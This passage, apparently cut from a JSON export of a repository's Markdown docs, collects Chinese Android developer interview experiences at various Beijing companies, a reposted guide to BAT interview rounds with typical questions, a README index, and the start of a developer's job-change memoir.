以及 View 自身的 layout_margin 共同决定。权值 weight 也是尤其需要考虑的因素，有它的存在情况可能会稍微复杂点。\n\n了解了这两个参数的来源，还要知道这两个值的作用。我们只取 heightMeasureSpec 作说明。这个值由高 32 位和低 16 位组成，高 32 位保存的值叫 specMode，可以通过如代码中所示的 MeasureSpec.getMode() 获取；低 16 位为 specSize，同样可以由MeasureSpec.getSize() 获取。那么 specMode 和 specSize 的作用有是什么呢？要想知道这一点，我们需要知道代码中的最后一行，所有的 View 的 onMeasure() 的最后一行都会调用 setMeasureDimension() 函数的作用——这个函数调用中传进去的值是 View 最终的视图大小。也就是说 onMeasure() 中之前所作的所有工作都是为了最后这一句话服务的。\n\n我们知道在 ViewGroup 中，给 View 分配的空间大小并不是确定的，有可能随着具体的变化而变化，而这个变化的条件就是传到 specMode 中决定的，specMode 一共有三种可能：\n\nMeasureSpec.EXACTLY：父视图希望子视图的大小应该是 specSize 中指定的。\n\nMeasureSpec.AT_MOST：子视图的大小最多是 specSize 中指定的值，也就是说不建议子视图的大小超过 specSize 中给定的值。\n\nMeasureSpec.UNSPECIFIED：我们可以随意指定视图的大小。)\n\n- 广播怎么不跨进程\n- Rxjava 操作符\n- Rxjava 1 2的区别\n- 还有问了轮播怎么让用户按下三秒之后继续翻页\n- 还有五种进程级别\n- 多线程下载，3个线程如何下载10M的文件\n- 两列 Recyclerview 如果是表格布局怎么添加 header view\n- Thread 和 intent service\n\n最牛B的一个问题是类似天猫这种大厂APP实现的全局应用代理是怎么实现的\n（本意就是类似于推送的时候处理推送的逻辑不写一大堆switch case，而是在入口处动态去配置就可以）\n\n## 凡普金科（普惠金融旗下）\n\n这个是在拉勾上投的，公司在银河 SOHO\n\n当时面试地点其实是发的有问题的，前台大门明明在A座嘛，你非得发个 D 座那边的位置，结果那边的门锁了，我敲了半天才有人开，我才知道走错门了应该从 A 座的电梯上来，可是就是发的 D 座，这里吐槽下。。。然后前台妹子给我的笔试题居然是 Java 的（貌似给错了）\n\n面试的深度基本跟 1905 那哥们差不多，也是 activity 启动模式跟手势传递还有 Looper 的源码那块问的比较多只是这个人最后问了一个尺子的效果：附上[项目地址]( https://github.com/kailaisi/WheelSelect)哈，类似这个地址 demo 的实现效果只是年龄换成了金额（毕竟是做金融的公司 当然这样咯）\n\n只说还有复试，但是也是没下文了\n\n## 映社（木蚂蚁）\n\n这个公司绝对是坑比中的战斗机，去了就让你一直等啊等，等到花都谢了的那种\nPS：他们现在的项目主要是做直播的产品叫“映社”（有种抄袭映客的嫌疑~~）\n去的时候公司前台都没人，打电话也没人接，后来一个快递小哥进门了我和另外的一个也是面试的才进去\n\n首先是有笔试题的话说蛮弱智的（做完感觉也不会怎么看，完全就是浪费时间啊啊）然后那哥们把你领到一个类似小会议室的屋子里，这哥们给人的感觉技术也很一般，没有之前面的那么强势，基本都是照着简历问的，问直播跟FFmpeg那块偏多，贝塞尔曲线？自定义 View，偶尔穿插下 retrofit，Rxjava，热修复神马的，面完之后就出去了让你一直等啊等，等了快 40 分钟的时候进来说总监在开会\n\n这个公司真特么的是个奇葩，你约人的时候不会挑个没会的时间么，貌似拉勾上有个面php 的哥们跟我一样也是被搁置一直等啊等，真是日了狗了！最后来了一句改天复试吧\n\n只说还有复试，让我来我也不会来了 \n\n## Melons (北京知行远科技)\n\n这家公司是我在拉勾上投的，公司成立于2016年太初创了（我能怎么办，我也很绝望啊，貌似最近拉勾的公司比较少，稀里糊涂就投了\n\nBoss 也是做 android 的，而且还是前最美应用的联合创始人，技术出身还是蛮不错的公司早 10 晚 8 做海外项目\n\n但是目前的状况是跟别人挤在一间办公室里，那个隔壁组的貌似是 Google 天气的团队\n\n技术面还是跟之前的那几家差不多，基本都不会看你做过的项目就咔咔的问底层源码咯，唯一不同的是启动模式那块多问了 taskAffinity 这个属性，我确实是没用过，面试官拿着 macbook 一个一个的循序渐进的问着，面试流程大概一个半小时左右，然后跟 boss 聊了聊薪资和之前为什么离职，因为是早上十点半约的，一直聊到了中午 12 点 40多\n\n我中午饭都没吃，然后紧接着就去中关村准备下午那家的面试\n\nPS:今天还下着雨，挺苦逼的\n\n目测不会发 offer，可能是小公司给不起薪资\n\n## NewsDog (公司名字就叫这个薪资标的还挺高)\n\n这家公司是我在拉勾上投的，公司应该是 B 轮了已经\n因为是约的是下午两点，而且刚从 Melons 那里面完就来了，所以去这家公司的时候连中午饭都没吃，让前台给接了杯水暂时压压惊。。。\n\n看简介公司应该是做海外市场主要是信息推荐跟数据挖掘的业务（不知道他们现在的产品是啥）\n\n技术面主要是根据简历去问的，比较在意内存泄漏，内存优化还有 View 的过渡绘制这一块的东西，还有就是问了问图片开源库 Picasso v/s Imageloader v/s Fresco vs Glide 区别以及如何去选择吧，还有 eventbus 的源码以及注解的优点，其它的大概就是还问了问项目的难点之类的\n\n比较操蛋的是没有讨论薪资，然后就直接送客了，不造差在哪里\n\n这样的公司也是比较无语的，面试官给人的感觉是屌的一逼，有点高高在上了\n\n## 曙光无限\n\n曙光无限 这家公司是在 boss 上约的，公司地址在回龙观东大街的腾讯众创空间（办公楼的环境蛮好的），公司主打产品是海外的项目，旗下产品几十种还是蛮多的\n\n- 第一面 ：只是人事先照着简历初略的聊了聊以前的项目经验，由于公司是做海外滤镜软件的，可能对图片算法这块要求蛮高的，福利这块目前是采取接近避税的方式，第一年还不给交住房公积金，貌似还需要第二面总监面，而且还要上机写demo...\n- 目前 android 行情 ：从以往的面试分析来看基本 android 的行情接近饱和状态，薪资这块基本稍微要高点的话直接就给你 pass 然后可能用其它人候选人去对比，市场的行情还真是惨淡\n- 后续 ：没有通知进一步的面试\n\n## 遇见科技\n\n遇见科技 这家公司是在 boss 上约的，公司地址在知春路附近，公司的办公环境也还不错哈，项目应该是一款社交软件，貌似起步还是蛮早的，已经做了几年了\n\n第一面 ：主要是技术面，问的以简历的内容为主还有面试官会看以往做过的项目（现在看项目的公司确实不多了）比较在意的是之前做过的项目整体的流程，整体架构设计模式还有业务这块的详情，基本都是围绕做的项目这块的技术点来的涉及的知识点也基本涵盖了目前比较流行的开源组件，还有会问一些关于同类框架之前的区别与对比：比如 volley 与 okhttp，图片框架，数据库 greenDao，realm，litepal 等等性能方面的问题\n\n第二面 ：第一面没什么问题之后会和 HR 进一步沟通，主要介绍了公司目前的产品方向还有项目节奏，福利待遇神马之类的\n\n总监面 ：能见到总监也基本很不容易了，基本也是聊了聊以往的项目，可能比较看重的是解决问题的能力，会问擅长哪方面（Ui 还是业务？）项目难点等等。。。\n\n后续 ：没有通知是否给 offer（难道是薪资问题？？现在市场要到 20 K左右貌似就要考虑考虑了）\n\n## 邻动\n\n邻动 这家公司是在 boss 上约的，公司地址也是在知春路附近，公司的办公环境没的说，门口摆着各种零食饮料，面试等待的过程，前台妹子还给了一杯饮料喝，公司主要做视频方向的项目，目前已知产品叫“快牙”\n\n第一面 ：主要是技术面，基本问的跟之前遇到的问题一样，其中回答的不是很好的问题户要是 MessageQue 的源码实现（我回答错了，应该是链表）还有自定义线程池（应该是问线程池那几个参数），但是公司的技术要求可能希望更倾向于有 FFmpeg 相关经验还有做过视频剪切，裁剪之类的经验吧，问完就送客了....内心其实还是挺喜欢做视频这块的项目\n\n## 元宝亿家\n\n元宝亿家 这家公司是在 boss 上约的，公司地址在东直门，去了直接在前台填表，然后一个目测像总监的人直接面试，他们现在的项目是采用 MVP 写的应该是想找个人快速接手\n\n第一面 ：主要是技术面，问的东西感觉还好，但是感觉自己发挥的不是很好，Java String 类的底层源码，Hashmap 实现原理，Android 广播 Service 相关的，ANR，gson 高级用法（比如序列化的时候如何排除某个字段），项目里用到的设计模式，android 手势机制用到了什么设计模式（是责任链模式，这个我回答错了），内存泄漏和内存溢出，子线程不能更新 view 的机制，Rxjava retrofit okhttp，给我印象比较深的是问了 mac 上 pwd 这个命令是干嘛的（我用了这么久mac 确实没有用过这个命令，是显示当前文件全路径的）还有用没用过 Home brew，最后问了问 Git 相关的命令 pull 跟 fetch\n\n- git rm a.a 移除文件(从暂存区和工作区中删除)\n- git rm --cached a.a 移除文件(只从暂存区中删除)\n- PS:技术很耐心的给我讲解了我没能答对的问题\n- 总结 ：感觉自己跟目前市场上需求真正意义的 Android 高级工程职位还是有一定差距的，好多东西还是欠缺好多，还要继续恶补了，fighting...\n\n约了第二天复试，信心严重受挫，不知道能不能谈拢..."
  },
  {
    "path": "docs/android/Android-Interview/经验分享/BAT无线工程师面试流程详细解析.md",
    "content": "原文出处：http://www.jianshu.com/users/3bbb1ddf4fd5\n\n简书Tamic ，http://www.jianshu.com/p/f0d2ed1254a9\n\n![](http://upload-images.jianshu.io/upload_images/2022038-f551cd99a6c67853.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n求职和我们每个人息息相关，而求职也有门道，好的发挥和技巧或许能让我们以压倒性优势在面试中胜出，可能我们技不如人，但是我们的综合能力如果优秀的话，企业也愿意招这样的人，因此我将自己亲身经历的BAT和其他知名互联网的面试经验分享给大家，让有技术的人展现获得实现自我更好的平台。\n\n![](http://upload-images.jianshu.io/upload_images/2022038-4b0ec79287947a94.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n## **找工作了**\n\n前几天在网上一搜，一系列的百度面试题，我特别兴奋，点击链接一看，差点给吓尿，这尼玛什么东东，结果发现都是一些标题党，里面没有太实质性的东西，如果按照那上面题目的去准备，估计进一家创业公司的中级开发工程师也难啊，除非老板不懂技术，但是别忘了现在很多创业公司的CEO一般是技术出生的，在他面前也是会瞬间被完虐。\n\n今天就给大家整理和回忆下自己面试过以往 百度，京东，新浪，携程，唯品会，阿里 面试经验，其他小名气的公司在此就可以忽略了，只要掌握百度的面试流程腾讯估计也就八九不离十。在开始面试之旅之前还是要多说几句，选公司是要看时机的 ，建议先去小公司试试水，找找感觉，其次建议春节过后看机会，选熟人内推或者 找个好的猎头 也是对我们的面试成功率有帮助的，那么就开始今天的面试之旅吧！\n\n## **面试流程**\n\n### **1. 招聘方式**\n\nBAT技术一般分为 校招 和 社招 两个方向。\n\n校招一般去定点的211和985大学去招聘，并且是拼证书和笔试题的，像我这种野鸡大学的人来说校招是我无法达到的境界（说白了也就那样，这个社会干啥事你说不得有个好的干爹），所以校招呢，我今天就不谈了，因为我也没经历过。\n\n社招一般面向全国本科以上2-3年以上计算机相关专业的（可能现在已经要求到4年+了），能力不错的可以放宽到大专和其他专业，但是简历是Hr选的 ，硬性条件不过，谁知道你能力好呢，所以这点这也是扯犊子的。 至于你达到学历要求了，经验要求了，你投了简历，但是往往很多时候简历石沉大海了，因为五年甚至以上的人投简历，这样就类似高考录取一样，你再怎么牛逼也会被hr的一个next按钮筛掉，甚至加入黑名单。因此我们想要加入BAT等的公司最好还是找个认识的人内推一下，这样至少不会被hr给无情的筛掉，也会大大加快面试流程的效率，直接约面试即可。\n\n目前由于BAT收到简历的很多，在简历通过后，会通常进行技术的的审核筛选，简历通过后，还会进行所谓的电话面试。电话面试过了，才会安排我们现场面试，如果异地会进行会议面试（电话视频面试）。\n\n面试一般分为三轮或四轮，甚至更多，第一轮一般为笔试，二轮三轮一般为面试，四轮就是hr或boss面试，笔试不是所有项目组都需要的，而是看你所面试部门的需求，当时我就没有进行笔试。\n\n### **2. 面试方式**\n\n#### **2.1 电话面试**\n\n简历通过后技术会进行短暂的技术面试，别小瞧的电话面试，有可能这就决定了你有没有机会去现场面试和最终定级的问题，因为大家知道BAT都是分技术等级的，面试发挥好的话，评级也比较高，当然薪水也就能拿到高，有人会说，那我进去努力升级不就可以了吗， 我说你再怎么牛逼至少半年内的你的工资是涨不了，至于晋升吧还要看你交际能力和个人给项目带来的贡献和收益，还要看你的人格魅力（说白了还需要点拍马屁精神），就如同大海捞鱼一样，大家都在竞争凭什么让你升级呢，所以最好的加薪机会就是面试跳槽。\n\n电话面试一般面试广度比较大，深度一般不会太大，安卓一般面试以下几点：\n\n- 安卓View绘制流程\n- 事件分发机制\n- JAVA基础思想\n- 多线程和安全问题\n- 安卓性能优化和兼容问题\n- 再问一下常规的组件相关问题\n\n当然不会问的太难，但是也不会太简单，你要知道这次只是面试官对你的初步衡量，除非你太low，一般都会有机会现场面试。\n\n#### **2.2 现场笔试：**\n\n笔试题目一般和你的简历项目无关，BAT也不会按照你的简历项目特意指定面试题，面试题一般面向大众的，面试基础的，也会有算法在里面，只要是走流程的，关键还是看后面的面试表现，但是你也不能答的太LOW，最好手机充好电带身上，不会的建议搜一下答案，我尽量回忆一下这几个公司的笔试题。\n\n目前BAT很多项目组已无笔试题。\n\n- 请描述安卓四大组建之间的关系，并说下 安卓 MVC 的设计模式。\n- 线程中 sleep() 和 wait() 有何区别，各有什么含义？\n- abstract和 interface 的区别?\n- array,arrayList, List  三者有何区别？\n- hashtable和 hashmap 的区别,并简述 Hashmap 的实现原理。\n- StringBuilder和 String，subString方法的细微差别。\n- 请写出四种以上你知道的设计模式，并介绍下实现原理。\n- 安卓子线程是否能更新UI，如果能请说明具体细节。\n- ANR产生的原因和解决步骤。\n- JavaGC机制的原理和内存泄露。\n- 安卓布局优化方案。\n- 请在100个电话号码找出135的电话号码，注意不能用正则（类似怎么最好的遍历 LogCat日志）。（此类算法一般比较类似，记得京东笔试比较10个数字，拿出最大的数字，也就是冒泡排序。唯品会是让你写一算法，依次从10个数字中拿出3个，不够依此类推）\n- Handler机制，请写出一种更新UI的方法和代码\n- 请解释安卓为啥要加签名机制。\n- 你觉得安卓开发最关键的技术在哪里？\n\n笔试题一般分为选择和简答题，选择题我不再整理，因为目网上流行的java面试宝典和安卓面试宝典的经典题目以包含在里面，类似考驾照一样，你提前背会，总之面中几率很高，如果我们很久没去注意细节了，建议还是去多看一下基础面试题，不要忽视了它。\n\n#### **2.3 一轮面试**\n\n此面试一般为基础面试，主要有项目Leader或高工来面试，大多是java的题目居多，安卓也会涉及到一些基础问题，此环节也比较关键，一般一面不会问我们熟知的项目，大多是一些基础功底的初探，面试官会看你的笔试试卷问答。\n\n记得阿里P6面试题，其中我也加入了其他上市公司的面试题，希望对大家有用。PS：顺序不一定正确。\n\n- ANR具体产生的类型有哪些，具体说下其产生的最大超时时间。\n- 多线程多点下载的过程。\n- http协议的理解和用法。\n- 安卓解决线程并发问题。\n- 你知道的数据结构有哪些，说下具体实现机制。\n- 十六进制数据怎么和十进制和二进制之间转换？\n- 谈下对 Java OOP 中多态的理解。\n- Activty和 Fragmengt 之间怎么通信，Fragmengt和 Fragmengt 怎么通信？\n- 怎么让自己的进程不被第三方应用杀掉，系统杀掉之后怎么能启动起来。\n- 说下平时开发中比较注意的一些问题。答 ：可以熟说下svn和git的细节，和代码规范问题，和一些安全信息的问题等。\n- 自定义view效率高于xml定义吗？说明理由。\n- 广播注册一般有几种，各有什么优缺点？\n- 服务启动一般有几种，服务和Activty之间怎么通信，服务和服务之间怎么通信A？\n- 布局优化主要哪些？具体优化？\n- 数据库的知识，包括本地数据库优化点。\n\n一面大致为半小时左右，问题一般比较广，但是不会牵扯太多的深层问题，只要考核我java基础和安卓开发APP的必备基础能力，这个环节一般面试官不会问你为啥离职，为啥选择本公司之类的，但是又公司会让你做自我介绍。\n\n#### **2.4 二轮面试**\n\n此阶段面试一般为技术经理或者小组Leader面试，主要问的技术点看你的简历写的必备技能面试，所以我们写简历的时候不要瞎写，自己不会的千万别写上去，不然问到了你不会，这样会大大降低对你技术能力的认证，因为面试官会觉得你会的也是不会的，不会的也是你不会的，所以根据自己擅长的方向去写简历。\n\n面试官也会主动问你擅长什么，主要看你之前的工作项目经验做了什么模块，但是主动权还是由我们自己把控，我们可以引开话题，往自己会的知识点去走。\n\n主要还是挖掘你的技术功底。面试题目一般为：\n\n- 安卓事件分发机制，请详细说下整个流程。\n- 安卓 View绘制机制和加载 过程，请详细说下整个流程。\n- Activty的加载过程，请详细介绍下。（不是生命周期切记）\n- 安卓采用自动垃圾回收机制，请说下安卓内存管理的原理。\n- 说下 安卓虚拟机 和 java虚拟机 的原理和不同点。\n- 多线程中的安全队列一般通过什么实现？线程池原理？（java）\n- 安卓权限管理，为何在清单中注册权限，安卓APP就可以使用，反之不可以。（操作系统）\n- socket短线重连怎么实现，心跳机制又是怎样实现，四次握手步骤有哪些？（网络通讯原理）\n- HTTP中 TCP和UDP 有啥区别，说下HTTP请求的 IP报文结构。（计算机网络）\n- 你知道的安全加密有哪些？   （如果你说了一个加密，面试官就会接着跟进提问，所以之前你必须要会，不会的话背也要背下来）（安全加密）\n- 你知道的数据存储结构？堆栈和链表内部机制。（数据结构）\n- 说下 Linux进程和线程 的区别。进程调度优先级，和cpu调度进程关系。（操作系统）\n- 请你详细说下你知道的一种设计模式，并解释下java的高内聚和低耦合。\n- Spring的反射和代理，在安卓中应用场景。（插件和ROM数据框架）\n- JNI调用过程中 混淆问题。\n- 看过安卓源码吗，请说出一个你看过的API或者组建内部原理。\n- Android 5.0、 6.0 以及7.0预测新特性。\n- hybrid混合开发，响应式编程等。\n- 为啥离职呢  对待加班看法？\n- 你擅长什么，做了哪些东西？\n\n好了 ，总结一些，本阶段只要问深层的问题，前面三道题尽量细节说到代码方法，光理论没用的，主要看你平时有没有积累，有无真实的项目经验，后面几道题也主要看你是否从科班出身，主要涉及计算机网络，数据结构，线性代数，操作系统，安全密码学，软件建模，设计模式 等，如果大学你学过这些课程，那么此阶段的一些非安卓常用开发的问题，估计你又能答上来，鉴于很多有培训学校出来的，那么请先去准备下这些理论知识，因为关系到你薪水问题，定级问题，因为不一样的等级进去一般干的活一样，何必为了这些常规的问题而比别人少拿待遇呢，一般BAT面试都会做记录，后面一轮的面试官会看上一个面试官的记录和评价。\n\n此阶段关键度很大，直接影响你技术评级问题，面试官已经了解了你的技术家底，比如已经定了你T4或P6, 后面你表现再怎么多么好，估计已经无法改变了，除非Hr能给你多加点工资而已。\n\n#### **2.5 三轮面试**\n\n此阶段主要是部门经理级别的面试，有技术问题也有非技术问题，主要是看面试官是否技术出身，据我经验和百度这边的习惯，大都技术出身，但是他们知道的技术已经老旧了，所以问的问题大多是一面和笔试的问题，即使问到二面中的问题 ，也不会细到某个方法的程度，此面试主要看你的沟通能力和管理协调能力，也会在看你的稳定程度，阿里一般会换其他部门的经理来面，为了方便交叉考核，此时的气氛不会向一面和二面那样严肃，稍微缓和了，如果不出意外你已经有很大录取的可能。\n\n- 说下项目中遇到的棘手问题，包括技术，交际和沟通。\n- 说下你进几年的规划。\n- 给你一个项目，你怎么看待他的市场和技术的关系？\n- 你一般喜欢从什么渠道获取技术信息，和提高自己的能力？\n- 你以往的项目中，以你现在的眼光去评价项目的利弊。\n- 对加班怎么看？（不要太浮夸，现实一点哦）\n- 说下 OPP 和 AOP 的思想。\n- 你知道的一些开源框架和原理。\n- 不同语言是否可以互相调用？\n- 安卓适配和性能调优问题。\n- 对于非立项（KPI）项目，怎么推进？\n- 你还要什么了解和要问的吗？\n\n总结：此阶段一般也非技术问题为主，主要看你的思想和个人态度方向相关，而最后一个问题也决定了领导是否看你有无领导能力，不要第一句话就问公司加班多吗？\n\n公司福利怎样，公司活动等，互联网哪公司不加班呐，尤其大公司加班更严重。 你可以问下项目团队多少人，主要以什么方向为主，一年内的目标怎样，团队气氛怎样，等内容着手。\n\n今年可能你多学习下响应式编程（ Rxjava, React Native 等），面向协议编程，以及7.0最新API特性，一些流行的架构模式（mvvm, mvp等），以及 Hot Fix, Hybrid 开发模式等，Android系统启动流程等，如果你的开发工具还在用 Eclipse，建议切到 Android Studio，不要败在Gradle语法上！\n\n#### **2.6 HR面试**\n\n好了，到此你离BAT的大门已经很近了，只要不出叉子，不漫天要价，那么你已经安全了，此阶段人事会问你为何离职，大学哪里上的，以前公司一些细节问题。\n\n不要大含糊哦，不要和大公司的精明的HR搞心机(尤其阿里的HR，分分钟把你灭掉)，求职者总是站在劣势一方，我主要整理下面的问题，这阶段和普通公司没多大区别。\n\n- 为何离职？\n- 对加班怎么看？\n- 对之前面试感觉怎样？\n- 自我评价下你的优缺点。\n- 接下来几年你是怎么规划的？\n- 你做的疯狂的事是什么？\n- 对我公司文化怎么看待？\n\n总之Hr会和你瞎扯，但是不要掉以轻心哦，当初唯品会我就这在这里挂掉的。不要乱说hr不问的东西，不要暴露自己比较极端的一面，这个阶段hr会根据你表现和技术反馈的技术等级，和以往员工的待遇加上你的项目经历做出一个初步的定级，提前会问题你期望的工资，当然啊你可以提前了解下BAT的薪资范围，再根据自己的表现提出合理的范围，Hr一般会砍价，就看你自己坚持度了，心理战很重要，等你们商量好薪水和合同期限后，今天的面试会通常结束，也不会当天通知你offer。\n\n也有可能复试的可能，一般是离面试之后一周进行，三面的面试一般是单人面试，而复试一般是两人以上面试，中主要以技术为主，之后技术过后了，hr也不会面试。\n\n阿里一面二面三面 估计需要一个多月，甚至在你终面以后还会进行交叉面试，或者HRG来面试（hr老大），我有碰到三个月后才发offer的同学。\n\n如果你没进行复试，一般两周内发offer，如果安排你复试，大概延迟一周后收到offer。\n\n#### **2.7 面试细节总结**\n\n- 如果电话面试结束后，三天内没通知你面试，那么你百分之九十挂了。\n- 一面结束或者终止面试，面试官让你回去的，你也挂了。\n- 如果二面结束了，让你回去的，或者三面没有问很多问题的，你百分之70挂了。\n- 三面结束或者三面中面试官没问多少东西的，你50%挂了。\n- 如果没有安排Hr面试，你离录取只有40%的可能。\n- 如果HR面了没谈到工资环节，敷衍了事，你有40%挂的可能。\n- 薪水谈完了，通知你复试的，你有20%挂的可能。你做好备胎和拍马屁的准备，尤其面阿里的时候。\"可以高呼，马云我爱你了 我爱阿里 你收我去扫厕所吧\" ，你就会被录了，哈哈当然是逗你玩的。\n- 如果工资谈完了，说三天内给你答复的那么你有15%可能。\n- 如果工资谈完了，说一周内没任何消息的，多半你挂了，另谋出路吧。\n\n<img src=\"http://upload-images.jianshu.io/upload_images/2022038-c38f58eebda95bf9.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240\" width=\"400\" />\n\n也有人说面试看脸，估计是的，这跟相亲一样一样的，你情我愿。\n\n总之面试是一种技术活，又是体力活，并且还是一场心理战。虽然我上面提供的题目是去两年前的面试题，但是有80%的接近腾讯2.3和阿里的p6程师的面试题。对一些小的公司估计你会了笔试题目和一面的技术点，估计你已经被offer了，稍微的二线公司，只要会了一面和二面的部分问题，只要说出理论，不要到细节，那么你已经有了被录取的可能，总之能力和薪水成正比的。但是前提你要准备，至少两个月是合理的。\n\n最后切记，大公司不要学历造假，不然你无法入职的，现在很多公司都在offer前进行背调，这样会影响你以后去该公司的就入职机会，小公司当然你可以玩点技巧，但最重要的还是你必须自我努力，自己有能力才是关键，是金子去哪里都会发光。\n\n如果你没被录上，也不要来喷我，如果你被录上了，那么恭喜你。不管怎样都是命。\n\n![](http://upload-images.jianshu.io/upload_images/2022038-272a2134484d51b1.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n"
  },
  {
    "path": "docs/android/Android-Interview/经验分享/README.md",
    "content": "## 经验之谈\n\n- [一个程序员的血泪史](一个程序员的血泪史.md)\n- [我为什么离开锤子科技？](我为什么离开锤子科技？.md)\n- [扫清Android面试障碍](扫清Android面试障碍.md)\n- [史上最全 Android 面试资料集合](史上最全 Android 面试资料集合)\n- [2016年4月某公司面试题及面试流程](2016年4月某公司面试题及面试流程.md)\n- [2017届实习生招聘面经](2017届实习生招聘面经.md)\n- [国内一线互联网公司内部面试题库](国内一线互联网公司内部面试题库.md)\n- [互联网公司面试经验总结](互联网公司面试经验总结.md)\n- [一个五年Android开发者百度、阿里、聚美、映客的面试心经](一个五年Android开发者百度、阿里、聚美、映客的面试心经.md)\n- [腾讯公司程序员面试题及答案详解](腾讯公司程序员面试题及答案详解.md)\n- [面试心得与总结：BAT、网易、蘑菇街 ](面试心得与总结：BAT、网易、蘑菇街 .md)\n- [阿里+百度+CVTE面经合集](阿里+百度+CVTE面经合集.md)\n- [技术硬碰硬—阳哥带你玩转上海Android招聘市场](技术硬碰硬—阳哥带你玩转上海Android招聘市场.md)"
  },
  {
    "path": "docs/android/Android-Interview/经验分享/一个五年Android开发者百度、阿里、聚美、映客的面试心经.md",
    "content": "### 花絮\n\n本文为完整版，加了一些彩蛋哦！文末有面试和必备的技能点总结。\n\n> 也许会有人感叹某些人的运气比较好，但是他们不曾知道对方吃过多少苦，受过多少委屈。某些时候就是需要我们用心去发现突破点，然后顺势而上，抓住机遇，那么你将会走向另外一条大道，成就另外一个全新的自我。\n\n先简单说说我最近的面试经历吧。面试的公司很多，其中有让我心血沸腾的经历，也有让我感到失望到无助的经历，我将这些体会都记录下来，细想之后很值得，面了这么多公司，要是最后什么也没有留下来，那就太浪费了。至少对于我来说有些东西在整理总结之后才能得到一个肯定的答案。希望这些能对即将换工作或者打算看看机会的你有一些帮助。\n\n> 下文真的很长，你可以把这篇文章当做看小说一样，快速浏览一下，但是希望你能将文中提到的那些技能掌握。那也就不枉费我花了一两天时间专门整理这些。我的这些经验仅供参考，希望你能做的比我好，同时希望你在以后的面试中能轻松应对。\n\n### 为何离职？\n\n先从我的换工作的动机开始说吧。\n\n公司裁员的时候老大说:『你就留下好好干吧，以后不管公司怎么分股票、期权，肯定少不了你』。我非常信任我的老大，跟着老大一起工作，感觉是一种享受。\n\n但是没想到裁员后，公司内部大动荡，主业务线从客户端A 业务线转移到另外的B 业务线上。我主要负责A客户端的架构，这下可真闲下来了。B 业务线那边的业务量还是很忙的，没时间配合我做一些架构上的事情。于是我每天就看看资料，补充点能量。\n\n呆了几天后，就后悔当初没有拿 N+1 走，有一种被老大忽悠的感觉。 因为公司接下来的操作让我很是不爽，先是晚上打车不能超过30，然后福利大减，瞬间没有工作的心情了。再过了一两周后公司宣布新一轮融资成功，可惜只融到了 2千多万美元（按照预期应会更高），然后接着招新人。\n\n我特么无语了，站在公司的角度是没有任何问题的，可以节省开销，也可以容纳新鲜血液。但是我作为一个老员工，心寒，走的员工都拿到了 N+1，我们这些老员工什么也没有得到，反而福利大减，伤人啊! 现在即使我想走，什么也得不到，一种莫名的恼火涌上心头（只怪本人经历尚浅，看不清一些大的趋势，还是老鸟们聪明，拿钱走人，然后换一个新工作，好不自在啊）。\n\n不过理智分析一些这样确实有好处，可以给自己留很多的时间来选择更好的公司。就如此刻的我一样，在公司悠闲的上着班，骑驴找马，遇到合适的，可以立刻走。其实细想一下，如果我当时拿了 N+1 走了后，可能会迫切的需要一份合适的工作，然后迅速入职。至于新公司怎么样，还真不敢确定。\n\n已经动了想走的心，意味着再也不可能在这里很安分的待下去了。\n\n### 面试分级\n\n于是我决定开始投递简历（世界那么大，我想去外面的世界看看）。这次看机会与往常不同，我决定好好准备一番，然后开始投递简历，主要渠道是 “X钩”，辅助渠道是猎头。\n\n这次看机会我将所有公司分为三类：\n\n1. A类： BAT公司，非常靠谱，各项待遇都是很优厚的\n2. B类：一些知名的互联网公司（基本都在C轮以上），基本很靠谱，该有的都少不了\n3. C类：就是那些正在招聘的公司，没啥名气，虽然钱多但是事也多。靠不靠谱真还不知道，只能碰运气\n\n### 基础知识不可少\n\n以前我基本都是直接去面试，总以为Android工作好几年了，出去面试基本没啥问题，因此带着那份傲娇的自信 总是碰壁，尤其遇到很多基础性的问题，一时真不知道怎么回答？还有一些问题之前都记得很准确，但是在面试官问的时候，就一个大写的懵逼表情。\n\n在我出去面试之前，我已经把 《大话数据结构》 基本看完了（想想我之前的生活，每天早上七点多起床，然后看几页，洗漱完就去公司）。虽然没怎么记住，但是遇到这些相关问题，还是能很容易回答出来的。因为有了以前的教训，而且这次我也是很认真的准备了好久（可以说蓄谋已久啦，我心里其实很明白互联网公司可能存在很多风险，尤其是没有盈利的公司，唯有技术这东西必须牢牢掌握住，才能立于不败之地），因此我准备把Java基础巩固下，但是手头没啥合适的书籍和资料。\n\n还好民间有很多厉害的开发者，他们不以盈利为目的，只为完成某种需求，开发一款 app,然后发布到应用市场，给需要的人。于是我就找到一个 “Java面试训练” 的App,下载量还可以，就安装到手机上，开启刷题模式，应该刷了10来天吧（都是在上班，下班时间看一点，虽然时间比较零散，但是这样记得最深刻）。在之后的面试中，基本很少遇见一些奇葩的java基础。\n\n> 这里不得不提一件事，那就是从 app 崛起的那一刻起，就有很多的 中间商，一个小作坊的屋子里有很多电脑或者不知名的设备，屋子里慢慢的数据线，犹如蜘蛛网一样连接着很多设备，做着一些神秘的事情。不用我说你们应该也知道他们做着一些很肮脏的事情，我就不细说干什么了，简单举个例子：这群人的老大看中某个市场上某款游戏非常火爆，或者 app 特别的火，于是通过反编译等技术修改这些 app,然后重新打包上线到一些不是很知名的app 渠道或者小型应用时长，还有一些论坛，一旦有用户下载，就会在 app中弹出广告，在游戏中做各种充值操作，甚至在你无意间点到一个按钮就会自动扣除你的话费。这是前几年干的事情，新闻中也纰漏了很多，这里只能说监管不力。\n>\n> 但是随后各个公司都意识到这样的安全问题于是有了 app加固的技术，无法修改 app,即便修改了，但是也运行不起来，所以一定要注重安全性问题。\n\n### 刚踏入架构师之路的经历\n\n这次我给自己的规划是做一个架构师，但是我深知架构师可不是闹着玩的，必须要有很强的一面，因此我在简历里面写的只是“架构师方向”。我在K公司 做得是架构师方向，因此我觉得有必要朝着这个方向发力，虽然现在不是很厉害，但是坚持一两年后，即使不是非常厉害，但是也距离非常厉害很近（这里使用了《孙子兵法》的一句：“求其上,得其中;求其中,得其下,求其下,必败。” ）。\n\n这个想法来源于在K 公司我第一任leader曾经跟我说过的话：『对于新东西，如果你觉得掌握了，但是不应用到项目里面来，是没有什么意义的，时间长了还是会忘记的。』我很庆幸我有一个好老大（我是属于双领导型的，K 公司 A项目的负责人是我的leader，但是我的直接汇报对象是 K 